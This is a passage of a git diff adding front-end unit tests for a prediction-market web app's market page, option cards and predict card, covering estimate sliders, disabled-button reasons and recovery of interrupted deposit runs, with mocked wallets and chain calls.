RegExp(`^${noun}$`)); + }); + + it("falls back to branch when the session names no item", async () => { + answerItemName(""); + renderPage(); + + expect(await screen.findByTestId("trade-wallet-noun")).toHaveTextContent(/^branch$/); + }); +}); + +describe("MarketPage on a trading session", () => { + const NO_LIQUIDITY = "None of the directors can be traded yet."; + + /** Closes on 1 January 2100, so the session is trading whatever the wall clock reads. */ + function answerTrading(chart: () => unknown) { + fetchMock.mockImplementation(async (document) => { + if (queryName(document) === "SessionDetail") { + return { Session: [{ ...sessionDetailColumns, openingTime: "4102444800", children: [sessionChildRow()] }] }; + } + if (queryName(document) === "SessionChart") return chart(); + return { Prediction: [], Pool: [] }; + }); + } + + it("does not call the options illiquid while the price history loads", async () => { + answerTrading(() => new Promise(() => {})); + + renderPage(); + await screen.findByRole("button", { name: /^Predict (\d+ )?estimates?$/ }); + + expect(screen.queryByText(NO_LIQUIDITY)).toBeNull(); + }); + + it("does not call the options illiquid when the price history failed", async () => { + answerTrading(() => Promise.reject(new Error("boom"))); + + renderPage(); + await screen.findByText("Could not load the price history. Reload in a moment."); + + expect(screen.queryByText(NO_LIQUIDITY)).toBeNull(); + }); +}); + +describe("MarketPage at the close", () => { + it("locks trading when the close time passes, with nothing else re-rendering the page", async () => { + vi.useFakeTimers({ shouldAdvanceTime: true }); + try { + const closesAt = Math.floor(Date.now() / 1000) + 60; + fetchMock.mockImplementation(async (document) => { + if (queryName(document) === "SessionDetail") { + return { + Session: [{ ...sessionDetailColumns, openingTime: String(closesAt), children: [sessionChildRow()] }], + }; + } + if (queryName(document) === "SessionChart") return new Promise(() => {}); + return { Prediction: [], Pool: [] }; + }); + + renderPage(); + await screen.findByRole("heading", { level: 1, name: "Dune: Part Three, director" }); + expect(screen.queryAllByText("Trading has closed.")).toEqual([]); + + await act(async () => { + vi.advanceTimersByTime(61_000); + }); + + expect(screen.getAllByText("Trading has closed.").length).toBeGreaterThan(0); + } finally { + vi.useRealTimers(); + } + }); }); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/OptionCard.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/OptionCard.test.tsx index e6410dfa..aee9b28c 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/__tests__/OptionCard.test.tsx +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/OptionCard.test.tsx @@ -1,8 +1,10 @@ -import { render, screen } from "@testing-library/react"; +import { render, screen, within } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; -import { describe, expect, it } from "vitest"; +import { beforeEach, describe, expect, it } from "vitest"; -import type { SessionOption } from "@/features/sessions/types"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import { estimateStep } from "@/features/predict/utils/estimates"; +import type { SessionOption, SessionStatus } from "@/features/sessions/types"; import { addresses } from "@/testing/fixtures"; @@ -18,63 +20,317 @@ const option: SessionOption = { lowerBound: 0, upperBound: 500, upToken: addresses.upToken, + invalidToken: addresses.childInvalidToken, downToken: addresses.downToken, underlyingToken: addresses.underlyingToken, blocks: [{ type: "markdown", body: "Directed *Barbie*." }], }; +const PARENT = addresses.parentMarket; +const MARKET_ESTIMATE = 312; + +const WAD = 10n ** 18n; + +function renderCard( + overrides: { + status?: SessionStatus; + marketEstimate?: number; + isMarketPending?: boolean; + position?: { up: bigint; down: bigint }; + } = {}, +) { + return render( + , + ); +} + async function open() { await userEvent.click(screen.getByText("Greta Gerwig")); } +const saved = () => useEstimateStore.getState().estimates[PARENT]?.[option.market]; + +// jsdom computes no Tailwind, so the dimmed look is read from the class on each control's root. +const DIMMED = "opacity-50"; + +function estimateControls() { + return { + slider: screen.getByRole("slider"), + sliderRoot: screen.getByRole("group", { name: new RegExp(`^Your estimate for ${option.name}`) }), + }; +} + +const pill = () => screen.getByRole("button", { name: new RegExp(`, type your estimate for ${option.name}$`) }); +const field = () => screen.getByRole("textbox", { name: `Your estimate for ${option.name}` }); + +async function typeEstimate(text: string) { + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), text); + await userEvent.tab(); +} + +beforeEach(() => { + useEstimateStore.setState({ estimates: {} }); +}); + describe("OptionCard", () => { - it("shows the option's name while collapsed", () => { - render(); + it("shows the option's name and no tick while nothing is set", () => { + renderCard(); expect(screen.getByText("Greta Gerwig")).toBeInTheDocument(); + expect(screen.queryByRole("img", { name: "Estimate set" })).toBeNull(); + }); + + it("keeps the collapsed row to the name and a tick once an estimate is set", () => { + useEstimateStore.getState().setEstimate(PARENT, option.market, 400); + renderCard({ position: { up: 20n * WAD, down: 0n } }); + + const row = screen.getByRole("button", { name: /Greta Gerwig/ }); + expect(within(row).getByRole("img", { name: "Estimate set" })).toBeInTheDocument(); + expect(row).toHaveTextContent(/^Greta Gerwig$/); + }); + + it("shows what the trade wallet holds of the option once it is opened", async () => { + renderCard({ position: { up: 20n * WAD, down: 0n } }); + + await open(); + + const region = screen.getByRole("region", { name: "Your position" }); + expect(region).toHaveTextContent("20 UP"); + expect(region).toHaveTextContent("0 DOWN"); + }); + + it("says an estimate on the other side of the market from the position sells some of it", async () => { + useEstimateStore.getState().setEstimate(PARENT, option.market, 200); + renderCard({ position: { up: 20n * WAD, down: 0n } }); + + await open(); + + expect(screen.getByRole("region", { name: "Your position" })).toHaveTextContent("200 $M sells some UP"); }); - it("opens to an estimate scale bounded in the option's own unit", async () => { - render(); + it("says an estimate on the position's side adds to it", async () => { + useEstimateStore.getState().setEstimate(PARENT, option.market, 400); + renderCard({ position: { up: 20n * WAD, down: 0n } }); + + await open(); + + expect(screen.getByRole("region", { name: "Your position" })).toHaveTextContent("400 $M adds to UP"); + }); + + it("shows no position for an option the trade wallet holds none of", async () => { + renderCard(); + + await open(); + + expect(screen.queryByRole("region", { name: "Your position" })).toBeNull(); + }); + + it("opens to an estimate scale bounded in the option's own unit, with the market marked", async () => { + renderCard(); await open(); expect(screen.getByText("0 $M")).toBeInTheDocument(); expect(screen.getByText("500 $M")).toBeInTheDocument(); + expect(screen.getByTestId("market-chip")).toHaveTextContent("312 $M"); }); - it("says plainly that estimates cannot be set yet", async () => { - render(); + it("starts the thumb at the market estimate", async () => { + renderCard(); await open(); - expect(screen.getByText("Setting estimates is not available yet.")).toBeInTheDocument(); + expect(screen.getByRole("slider")).toHaveValue(String(MARKET_ESTIMATE)); + expect(screen.getByText("At the market. Move it to predict.")).toBeInTheDocument(); }); - it("keeps the slider disabled", async () => { - render(); + it("saves a typed estimate and ticks the option", async () => { + renderCard(); + await open(); + + await typeEstimate("250"); + + expect(saved()).toBe(250); + expect(screen.getByText("62 $M below the market")).toBeInTheDocument(); + expect(screen.getByRole("img", { name: "Estimate set" })).toBeInTheDocument(); + }); + + it("saves a slider step made with the keyboard", async () => { + renderCard(); + await open(); + + screen.getByRole("slider").focus(); + await userEvent.keyboard("{ArrowRight}"); + + expect(saved()).toBe(MARKET_ESTIMATE + estimateStep(option)); + expect(screen.getByRole("img", { name: "Estimate set" })).toBeInTheDocument(); + }); + + it("keeps a typed estimate inside the option's scale", async () => { + renderCard(); + await open(); + + await typeEstimate("900"); + + expect(saved()).toBe(500); + }); + + it("forgets an estimate typed back to the market's own number", async () => { + useEstimateStore.getState().setEstimate(PARENT, option.market, 250); + renderCard(); + await open(); + + await typeEstimate(String(MARKET_ESTIMATE)); + + expect(saved()).toBeUndefined(); + expect(screen.queryByRole("img", { name: "Estimate set" })).toBeNull(); + }); + + it("shows a saved estimate as the thumb and as higher than the market", async () => { + useEstimateStore.getState().setEstimate(PARENT, option.market, 400); + renderCard(); + + await open(); + + expect(screen.getByRole("slider")).toHaveValue("400"); + expect(screen.getByText("88 $M above the market")).toBeInTheDocument(); + }); + + it("refuses estimates where the option has no trading", async () => { + renderCard({ marketEstimate: undefined }); await open(); expect(screen.getByRole("slider")).toBeDisabled(); + expect(screen.getByText("No trading on this option yet.")).toBeInTheDocument(); + }); + + it("refuses estimates while the session is still being set up", async () => { + renderCard({ status: "setting-up" }); + + await open(); + + expect(screen.getByRole("slider")).toBeDisabled(); + expect(screen.getByText("Opens once the session is set up.")).toBeInTheDocument(); + }); + + it("refuses estimates after trading has closed", async () => { + renderCard({ status: "closed" }); + + await open(); + + expect(estimateControls().slider).toBeDisabled(); + expect(screen.queryByRole("button", { name: /type your estimate/ })).toBeNull(); + expect(screen.getByText("Trading has closed.")).toBeInTheDocument(); + }); + + it.each([ + { label: "a closed session", overrides: { status: "closed" as const } }, + { label: "an option with no trading", overrides: { marketEstimate: undefined } }, + ])("dims the slider and offers no typed estimate on $label", async ({ overrides }) => { + renderCard(overrides); + + await open(); + + const { slider, sliderRoot } = estimateControls(); + expect(slider).toBeDisabled(); + expect(sliderRoot).toHaveClass(DIMMED); + expect(screen.queryByRole("button", { name: /type your estimate/ })).toBeNull(); + }); + + it("leaves the slider undimmed while the session trades", async () => { + renderCard(); + + await open(); + + expect(estimateControls().sliderRoot).not.toHaveClass(DIMMED); + }); + + it("says the market numbers could not be loaded, rather than that there is no trading", async () => { + render( + , + ); + + await open(); + + expect(screen.getByRole("slider")).toBeDisabled(); + expect(screen.getByText("Could not load the market. Reload in a moment.")).toBeInTheDocument(); + expect(screen.queryByText("No trading on this option yet.")).toBeNull(); + }); + + it("waits for the market estimate before taking one", async () => { + renderCard({ marketEstimate: undefined, isMarketPending: true }); + + await open(); + + expect(screen.getByRole("slider")).toBeDisabled(); + expect(screen.getByText("Loading the market…")).toBeInTheDocument(); + }); + + it("keeps a fine-grained estimate through the field on a narrow scale", async () => { + const narrow = { ...option, unit: null, lowerBound: 0, upperBound: 1 }; + useEstimateStore.getState().setEstimate(PARENT, narrow.market, 0.12); + render( + , + ); + await open(); + + await userEvent.click(pill()); + expect(field()).toHaveValue("0.12"); + await userEvent.tab(); + expect(saved()).toBe(0.12); + + await typeEstimate("0.45"); + expect(saved()).toBe(0.45); }); it("shows the creator's content under details", async () => { - render(); + renderCard(); await open(); - await userEvent.click(screen.getByText("Details")); + await userEvent.click(screen.getByRole("button", { name: "Details" })); expect(screen.getByText("Opening weekend gross if Gerwig directs")).toBeInTheDocument(); expect(screen.getByText("Barbie")).toBeInTheDocument(); }); it("reports an unreadable scale instead of drawing a slider", async () => { - render(); + render( + , + ); await open(); - expect(screen.getByText("The scale for this option could not be read.")).toBeInTheDocument(); - expect(screen.queryByText("Setting estimates is not available yet.")).toBeNull(); + expect(screen.getByText("This option's range could not be read.")).toBeInTheDocument(); + expect(screen.queryByRole("slider")).toBeNull(); }); }); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.disabledReason.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.disabledReason.test.tsx new file mode 100644 index 00000000..fa12845e --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.disabledReason.test.tsx @@ -0,0 +1,221 @@ +import type { ReactNode } from "react"; + +import { render, screen } from "@testing-library/react"; +import { getAddress } from "viem"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import type { SessionDetail, SessionStatus } from "@/features/sessions/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +vi.mock("wagmi", async (importOriginal) => ({ + ...(await importOriginal()), + useAccount: () => ({ address: "0xa11ce000000000000000000000000000000a11ce" }), +})); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); + +const CLOSED = "Trading has closed."; +const NO_LIQUIDITY = "None of the directors can be traded yet."; +const NO_ESTIMATE_MOVED = "Set an estimate above or below the market to predict."; + +const session = (markets: readonly string[] = addresses.childMarkets) => + toSessionDetail( + { + ...sessionDetailColumns, + id: "7", + children: [ + sessionChildRow({ id: markets[0], parentOutcomeIndex: "0" }), + sessionChildRow({ id: markets[1], parentOutcomeIndex: "1" }), + ], + }, + GATEWAY, + ); + +/** Every option has a pool price one above its lower bound. */ +const pricedMarkets = (detail: SessionDetail) => + Object.fromEntries(detail.options.map((option) => [option.market.toLowerCase(), option.lowerBound + 1])); + +/** Every option's estimate two above its lower bound, so one away from the pool price. */ +function moveEveryEstimate(detail: SessionDetail) { + for (const option of detail.options) { + useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, option.lowerBound + 2); + } +} + +function renderCard( + detail: SessionDetail, + status: SessionStatus, + marketEstimates: Record, + isMarketUnknown = false, +) { + render( + , + ); + return screen.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ }); +} + +beforeEach(() => { + window.localStorage.clear(); + useEstimateStore.getState().resetEstimates(session().parentMarket); +}); + +describe("the predict card's button", () => { + it("counts the estimates it would place", () => { + const detail = session(); + moveEveryEstimate(detail); + + const button = renderCard(detail, "trading", pricedMarkets(detail)); + + expect(button).toHaveTextContent("Predict 2 estimates"); + expect(screen.getByRole("heading", { name: "Place your estimates" })).toBeInTheDocument(); + }); +}); + +describe("the predict card names one reason Predict is disabled", () => { + it("says trading has closed on a closed session", () => { + const detail = session(); + moveEveryEstimate(detail); + + const button = renderCard(detail, "closed", pricedMarkets(detail)); + + expect(button).toBeDisabled(); + expect(screen.getByText(CLOSED)).toBeVisible(); + }); + + it("says none of the options can be traded when no option has a market estimate", () => { + const detail = session(); + moveEveryEstimate(detail); + + const button = renderCard(detail, "trading", {}); + + expect(button).toBeDisabled(); + expect(screen.getByText(NO_LIQUIDITY)).toBeVisible(); + }); + + it("says to move an estimate when no estimate has been set", () => { + const detail = session(); + + const button = renderCard(detail, "trading", pricedMarkets(detail)); + + expect(button).toBeDisabled(); + expect(screen.getByText(NO_ESTIMATE_MOVED)).toBeVisible(); + }); + + it("says to move an estimate when every estimate sits at the market", () => { + const detail = session(); + const marketEstimates = pricedMarkets(detail); + for (const option of detail.options) { + useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, option.lowerBound + 1); + } + + const button = renderCard(detail, "trading", marketEstimates); + + expect(button).toBeDisabled(); + expect(screen.getByText(NO_ESTIMATE_MOVED)).toBeVisible(); + }); + + it("says only that trading has closed when the options also have no liquidity", () => { + const detail = session(); + + renderCard(detail, "closed", {}); + + expect(screen.getByText(CLOSED)).toBeVisible(); + expect(screen.queryByText(NO_LIQUIDITY)).toBeNull(); + expect(screen.queryByText(NO_ESTIMATE_MOVED)).toBeNull(); + }); + + it("says to move an estimate when only some options have liquidity", () => { + const detail = session(); + const priced = detail.options[0]!; + + renderCard(detail, "trading", { [priced.market.toLowerCase()]: priced.lowerBound + 1 }); + + expect(screen.getByText(NO_ESTIMATE_MOVED)).toBeVisible(); + expect(screen.queryByText(NO_LIQUIDITY)).toBeNull(); + }); + + it("says to move an estimate on a session whose market addresses are checksummed", () => { + const detail = session(addresses.childMarkets.map((market) => getAddress(market))); + const market = detail.options[0]!.market; + expect(market).not.toBe(market.toLowerCase()); + + renderCard(detail, "trading", pricedMarkets(detail)); + + expect(screen.getByText(NO_ESTIMATE_MOVED)).toBeVisible(); + expect(screen.queryByText(NO_LIQUIDITY)).toBeNull(); + }); + + it("says there is no liquidity when the caller does not say whether the market is known", () => { + const detail = session(); + + render(); + + expect(screen.getByText(NO_LIQUIDITY)).toBeVisible(); + }); + + it("says only that there is no liquidity when no estimate has been moved either", () => { + const detail = session(); + + renderCard(detail, "trading", {}); + + expect(screen.getByText(NO_LIQUIDITY)).toBeVisible(); + expect(screen.queryByText(NO_ESTIMATE_MOVED)).toBeNull(); + }); +}); + +describe("the predict card gives no disabled reason", () => { + it("once an estimate is moved on a trading session", () => { + const detail = session(); + moveEveryEstimate(detail); + + const button = renderCard(detail, "trading", pricedMarkets(detail)); + + expect(button).toBeEnabled(); + for (const reason of [CLOSED, NO_LIQUIDITY, NO_ESTIMATE_MOVED]) { + expect(screen.queryByText(reason)).toBeNull(); + } + }); + + it("once an estimate is moved on the one option with liquidity", () => { + const detail = session(); + const priced = detail.options[0]!; + useEstimateStore.getState().setEstimate(detail.parentMarket, priced.market, priced.lowerBound + 2); + + const button = renderCard(detail, "trading", { [priced.market.toLowerCase()]: priced.lowerBound + 1 }); + + expect(button).toBeEnabled(); + for (const reason of [CLOSED, NO_LIQUIDITY, NO_ESTIMATE_MOVED]) { + expect(screen.queryByText(reason)).toBeNull(); + } + }); + + it("while the session is setting up", () => { + const detail = session(); + + const button = renderCard(detail, "setting-up", {}); + + expect(button).toBeDisabled(); + for (const reason of [CLOSED, NO_LIQUIDITY, NO_ESTIMATE_MOVED]) { + expect(screen.queryByText(reason)).toBeNull(); + } + }); + + it("while the market estimates are not known", () => { + const detail = session(); + + renderCard(detail, "trading", {}, true); + + expect(screen.queryByText(NO_LIQUIDITY)).toBeNull(); + expect(screen.queryByText(NO_ESTIMATE_MOVED)).toBeNull(); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.discard.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.discard.test.tsx new file mode 100644 index 00000000..f5893d43 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.discard.test.tsx @@ -0,0 +1,156 @@ +import type { ReactNode } from "react"; + +import type { RunPhase, StepOutcome } from "@foresight/tx-orchestrator"; +import { render, screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, expect, it, vi } from "vitest"; + +import { ctx, snapshot, WAD } from "@/features/predict/flow/__tests__/support/fakes"; +import type { PredictSnapshot } from "@/features/predict/flow/types"; +import { predictFlowId } from "@/features/predict/run/interrupted"; +import { sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { createRunStore } from "@/lib/flowRunStore"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const OWNER = "0xa11ce000000000000000000000000000000a11ce"; + +vi.mock("wagmi", async (importOriginal) => ({ + ...(await importOriginal()), + useAccount: () => ({ address: OWNER }), +})); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); + +const session = () => toSessionDetail({ ...sessionDetailColumns, id: "7", children: [] }, GATEWAY); + +const HASH = `0x${"ab".repeat(32)}` as const; + +type PersistedPhase = Exclude; + +const halted: PersistedPhase = { + status: "paused", + reason: "error", + error: { stepId: "deposit", message: "RPC unavailable", cause: "rpc", hash: HASH }, +}; + +function saveRun( + deposit: StepOutcome, + phase: PersistedPhase, + flowId = predictFlowId("7", OWNER), + amount = WAD * 3n, + depositNative = false, + extra: Partial = {}, +) { + createRunStore().save({ + flowId, + adapterId: "predict-flow", + snapshot: snapshot({ deposit: amount, depositNative, ...extra }), + ctx: ctx({ owner: OWNER, chainId: DEFAULT_CHAIN_ID }), + steps: [ + { stepId: "deposit", label: "Add funds", outcome: deposit }, + { stepId: "predict", label: "Predict", outcome: { status: "pending" } }, + ], + ...phase, + }); +} + +beforeEach(() => { + window.localStorage.clear(); +}); + +it.each([ + ["nothing was submitted", { status: "pending" }, { status: "running" }], + ["the deposit confirmed", { status: "confirmed", hash: HASH, blockNumber: 1n }, { status: "running" }], + [ + "the deposit reverted", + { status: "pending" }, + { + status: "failed", + error: { stepId: "deposit", message: "The transaction reverted on chain.", cause: "reverted", hash: HASH }, + }, + ], +] as const)("forgets the interrupted run when it is discarded after %s", async (_name, deposit, phase) => { + saveRun(deposit, phase); + render(); + + await userEvent.click(await screen.findByRole("button", { name: "Discard" })); + + // Discard takes the run's lock before it deletes, so the card re-reads a moment later + await waitFor(() => expect(screen.queryByRole("button", { name: "Resume" })).toBeNull()); + expect(createRunStore().load(predictFlowId("7", OWNER))).toBeNull(); +}); + +it("offers Resume but not Discard while the run's transaction awaits its receipt", async () => { + saveRun( + { status: "submitted", hash: HASH }, + { + status: "paused", + reason: "error", + error: { stepId: "deposit", message: "RPC unavailable", cause: "rpc", hash: HASH }, + }, + ); + render(); + + expect(await screen.findByRole("button", { name: "Resume" })).toBeInTheDocument(); + expect(screen.queryByRole("button", { name: "Discard" })).toBeNull(); + expect(createRunStore().load(predictFlowId("7", OWNER))).not.toBeNull(); +}); + +/** The run's paragraph, which goes on to say what to do with the run. */ +const opens = (text: string) => (_content: string, element: Element | null) => + element?.tagName === "P" && (element.textContent ?? "").startsWith(text); + +it("says a transaction may still be pending while the run's transaction awaits its receipt", async () => { + saveRun({ status: "submitted", hash: HASH }, halted); + render(); + + expect( + await screen.findByText( + opens("A prediction with a deposit of 3 sDAI did not finish. A transaction from it may still be pending."), + ), + ).toBeInTheDocument(); +}); + +it("shows the interrupted deposit cut to four decimals, as the trade wallet shows it", async () => { + saveRun({ status: "pending" }, { status: "running" }, undefined, 4_123456789012345678n); + render(); + + expect( + await screen.findByText(opens("A prediction with a deposit of 4.1234 sDAI did not finish.")), + ).toBeInTheDocument(); +}); + +it("shows an interrupted xDAI deposit at four decimals in xDAI", async () => { + saveRun({ status: "pending" }, { status: "running" }, undefined, 8_123456789012345678n, true); + render(); + + expect( + await screen.findByText(opens("A prediction with a deposit of 8.1234 xDAI did not finish.")), + ).toBeInTheDocument(); +}); + +it.each([ + ["credits alone", 0n, "A prediction with 2.5 in credits did not finish."], + ["a deposit and credits", WAD * 3n, "A prediction with a deposit of 3 sDAI and 2.5 in credits did not finish."], +] as const)("names the credits an interrupted run spends, with %s", async (_name, deposit, text) => { + saveRun({ status: "pending" }, { status: "running" }, undefined, deposit, false, { + creditsFromEoa: WAD * 2n, + creditsToSpend: (WAD * 5n) / 2n, + }); + render(); + + expect(await screen.findByText(opens(text))).toBeInTheDocument(); +}); + +it("names no deposit for an interrupted run the trade wallet funded alone", async () => { + saveRun({ status: "pending" }, { status: "running" }, undefined, 0n); + render(); + + expect(await screen.findByText(opens("A prediction did not finish."))).toBeInTheDocument(); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.frozenList.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.frozenList.test.tsx new file mode 100644 index 00000000..4b26565b --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.frozenList.test.tsx @@ -0,0 +1,149 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import type { Address } from "viem"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; + +import type { PredictDriver, PredictProgress } from "@/features/predict/run/types"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { SHOWN } from "@/test/queries"; +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const THIRD_MARKET = "0x5555555555555555555555555555555555555555" as Address; + +const OPTIONS = [ + { market: addresses.childMarkets[0], name: "Greta Gerwig" }, + { market: addresses.childMarkets[1], name: "Denis Villeneuve" }, + { market: THIRD_MARKET, name: "Chloe Zhao" }, +] as const; + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +/* The factory cannot reference imports, so GATEWAY's value is restated. */ +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://cdn.example.link/ipfs" })); +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); + +vi.mock("wagmi", async (importOriginal) => { + const { DEFAULT_CHAIN_ID } = await import("@/config/chains"); + return { + ...(await importOriginal()), + useAccount: () => ({ address: "0x9999999999999999999999999999999999999999", chainId: DEFAULT_CHAIN_ID }), + }; +}); + +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + gnosisRouterAddress: () => "0x7777777777777777777777777777777777777777", + tradeExecutorFactoryAddress: () => "0x6666666666666666666666666666666666666666", +})); + +vi.mock("@/features/trade-executor/api/getExecutor", async (importOriginal) => ({ + ...(await importOriginal()), + useExecutor: () => ({ data: { predicted: "0x8888888888888888888888888888888888888888", deployed: true } }), +})); +vi.mock("../usePredictFunding", () => ({ + usePredictFunding: () => ({ funding: null, credits: { state: "none" }, canPayNative: false, isPending: false }), +})); +vi.mock("../useHasPredicted", () => ({ useHasPredicted: () => true })); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); + +/** The run's progress as the real driver reports it; the mock hook re-renders on every change. */ +const run = vi.hoisted(() => { + const listeners = new Set<() => void>(); + let progress: unknown = null; + return { + get: () => progress, + set(next: unknown) { + progress = next; + listeners.forEach((listener) => listener()); + }, + subscribe(listener: () => void) { + listeners.add(listener); + return () => listeners.delete(listener); + }, + }; +}); + +vi.mock("@/features/predict/hooks/usePredictRun", async () => { + const { useSyncExternalStore } = await import("react"); + return { + usePredictRun: (input: unknown) => ({ + driver: input ? driver : null, + progress: useSyncExternalStore(run.subscribe, run.get, run.get), + }), + }; +}); + +const progressAt = (stage: PredictProgress["stage"], leftOut: Address[] = []): PredictProgress => ({ + stage, + steps: [], + leftOut, + batchesDone: stage === "complete" ? 1 : 0, + batches: 1, +}); + +// reset() throws the run away, its skipped list included, as the real driver does. +const driver = { + start: vi.fn(), + recover: vi.fn(), + resume: vi.fn(), + confirm: vi.fn(), + retry: vi.fn(), + discard: vi.fn(), + reset: vi.fn(() => run.set(progressAt("idle"))), + dispose: vi.fn(), + subscribe: vi.fn(() => () => {}), + getProgress: vi.fn(() => progressAt("idle")), +} satisfies PredictDriver; + +const session = () => + toSessionDetail( + { + ...sessionDetailColumns, + children: OPTIONS.map((option, index) => + sessionChildRow({ id: option.market, displayName: option.name, parentOutcomeIndex: String(index) }), + ), + }, + GATEWAY, + ); + +const MARKET_ESTIMATE = 250; +const ESTIMATE = 312; + +beforeAll(async () => { + await import("../PredictRunner"); +}); + +beforeEach(() => { + vi.clearAllMocks(); + window.localStorage.clear(); + useEstimateStore.setState({ estimates: {} }); + run.set(progressAt("idle")); +}); + +describe("the popup's estimates", () => { + it("stay as they were when the popup opened while the market catches up to them", async () => { + const detail = session(); + for (const option of OPTIONS) useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, ESTIMATE); + const at = (value: number) => Object.fromEntries(OPTIONS.map((option) => [option.market, value])); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + const card = (marketEstimates: Record) => ( + + + + ); + + const view = render(card(at(MARKET_ESTIMATE))); + await userEvent.click(screen.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ })); + const popup = within(await screen.findByRole("dialog")); + view.rerender(card(at(ESTIMATE))); + + for (const option of OPTIONS) expect(popup.getByText(option.name, SHOWN)).toBeInTheDocument(); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.interruptedRun.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.interruptedRun.test.tsx new file mode 100644 index 00000000..1831012d --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictCard.interruptedRun.test.tsx @@ -0,0 +1,417 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { render, screen, waitFor, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { + decodeFunctionData, + erc20Abi, + isAddressEqual, + TransactionNotFoundError, + TransactionReceiptNotFoundError, + UserRejectedRequestError, + type Address, + type Hash, + type Hex, +} from "viem"; +import { gnosis } from "viem/chains"; +import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; + +import type { PredictOption } from "@/features/predict/flow/types"; +import type { SelectedEstimate } from "@/features/predict/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; +import { PredictRunner } from "../PredictRunner"; +import { toPredictOptions } from "../toPredictOptions"; + +/* Predictions run on gnosis only; the test environment would otherwise default to the local chain. */ +vi.hoisted(() => { + vi.stubEnv("NEXT_PUBLIC_ENABLE_LOCAL_CHAIN", "false"); +}); + +const A = "0xa11ce000000000000000000000000000000a11ce" as Address; +const A_EXECUTOR = "0xa11ce000000000000000000000000000000e0e0a" as Address; +const B = "0xb0b00000000000000000000000000000000000b0" as Address; + +/** What the visit before the reload put in. */ +const SAVED = { deposit: 725n * 10n ** 16n, estimate: 410 } as const; + +const wallet = vi.hoisted(() => ({ + address: undefined as `0x${string}` | undefined, + chainId: undefined as number | undefined, +})); + +/** The amount and estimate the popup's form holds right now. */ +const form = vi.hoisted(() => ({ deposit: 0n, estimate: 0 })); + +interface Prompt { + from: `0x${string}`; + chainId: number | undefined; + to: `0x${string}`; + data?: `0x${string}`; + hash: `0x${string}`; +} + +const chain = vi.hoisted(() => ({ + prompts: [] as Prompt[], + /** One answer per prompt, in order; accept once they run out. */ + answers: [] as Array<"accept" | "reject">, + receipts: new Map(), + known: new Set(), + /** Receipt waits block until `mine()` while this is set. */ + holdMining: false, + waiting: [] as Array<() => void>, + deployed: true, + /** The target prices every build asked the chain about, in order. */ + asked: [] as bigint[][], + /** The options the last build asked the chain about, which the quoter prices. */ + options: [] as PredictOption[], +})); + +function mine() { + chain.holdMining = false; + chain.waiting.splice(0).forEach((release) => release()); +} + +vi.mock("@wagmi/core", async (importOriginal) => { + const actual = await importOriginal(); + const named = (name: string) => Object.assign(new Error(name), { name }); + const connection 